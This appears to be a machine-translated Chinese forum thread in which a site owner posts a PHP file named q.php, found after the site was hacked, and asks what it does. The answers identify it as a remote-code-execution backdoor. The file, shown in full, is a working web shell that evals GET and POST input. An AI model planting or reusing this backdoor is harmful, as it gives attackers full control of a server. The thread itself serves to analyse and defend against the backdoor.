我有一个名为q.php的文件出现在我的一个网站上。该网站已被黑客入侵。有谁知道文件是做什么的?
<? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
<?=eval(@$_GET['q']);?>
<?php
if (!isset($_POST['eval'])) {die('');}
eval($_POST['eval']);
?>
答案 0 :(得分:10)
看起来它允许任何人执行在get请求中作为'q'参数传入的php代码,或POST请求的'eval'参数中的任何代码。它会抑制所有相关错误。
这很糟糕,如果您的网站已经关闭,我建议您将其脱机并仔细审核您的服务器。
答案 1 :(得分:1)
它运行在?q = GET参数或POST eval参数中发送的PHP代码。
我建议您清理服务器并从干净的安装开始。
答案 2 :(得分:1)
它将使攻击者能够执行任何代码。
如果您通过URL中的?q=code
将代码传递给该脚本,或者将其包含在eval
参数的POST请求中,它将被执行。
所以基本上这是一个远程代码执行后门。
答案 3 :(得分:1)
尼斯。不确定第一行是什么,但是两条eval
行允许某人通过分别在url或post数据中传递它们来在服务器上执行任何代码。
答案 4 :(得分:1)
更大的问题是攻击者如何能够首先上传文件。该文件包含的是非常典型的插入代码,以便攻击者能够在未经许可的情况下在您的服务器上执行代码。
仅仅删除此文件以及其中包含恶意代码的任何其他文件并不能解决问题,攻击者可以通过某种方式将文件上传到您的网站文件存储库中。
无论如何,这是一个完整的细分:
1 / error_reporting(0); 将错误报告设置为关闭。
2 / if(@ $ _ GET ['wpth']){echo“./ mywebsite.co.uk/index.htm”; ?}&GT; 当在末尾用/?wpth调用URL时,URL会在页面顶部回显。
3 / 这将执行q值中包含的任何代码。即yourdomain.com/?q=base64_decode(%27somelongstringhere%))<< p>
4 / if(!isset($ _ POST ['eval'])){die('');} 如果未设置名为eval的post表单变量,则终止页面执行。
5 / eval($ _ POST ['eval']); 执行从远程托管表单发布的任何代码,其中表单变量称为eval